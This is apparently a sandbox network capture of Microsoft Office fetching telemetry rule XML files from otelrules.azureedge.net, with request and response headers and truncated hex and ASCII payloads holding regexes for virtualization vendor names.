Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:08 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:08 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 99c0880e-f01e-0052-80df-419224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035908Z-174f7845968ljs8phC1EWRe6en00000013rg00000000anza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:08 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:08 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035908Z-174f7845968xr5c2hC1EWRd0hn0000000nqg00000000e11e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:08 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035908Z-174f7845968zgtf6hC1EWRqd8s0000000wug00000000bqvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:08 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 9318b81d-501e-0035-5bd6-43c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035909Z-174f7845968frfdmhC1EWRxxbw00000013v000000000kus4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:10 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:10 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 2fc5819c-d01e-002b-4a95-4325fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035910Z-174f7845968psccphC1EWRuz9s000000145g000000007m12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:10 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:10 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: b1291b2a-001e-0028-31ae-43c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035910Z-174f7845968jrjrxhC1EWRmmrs00000014100000000096ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:10 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:10 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 27481374-801e-0078-46b4-42bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035910Z-174f7845968pght8hC1EWRyvxg0000000720000000007eyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:10 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035911Z-174f7845968zgtf6hC1EWRqd8s0000000wyg000000000w8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:11 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 67222812-801e-00a0-09a9-422196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035911Z-174f7845968zgtf6hC1EWRqd8s0000000wr000000000nvya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:12 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:12 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4d2a6959-e01e-0085-41b2-42c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035912Z-174f7845968cpnpfhC1EWR3afc00000013dg00000000hc4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:12 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:12 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:12 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e579458c-401e-0064-1dbd-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035912Z-174f7845968qj8jrhC1EWRh41s00000013s000000000k9ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:12 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:12 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:13 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: b69fee9c-d01e-0028-6253-437896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035913Z-174f7845968glpgnhC1EWR7uec000000140000000000fw7z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:13 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 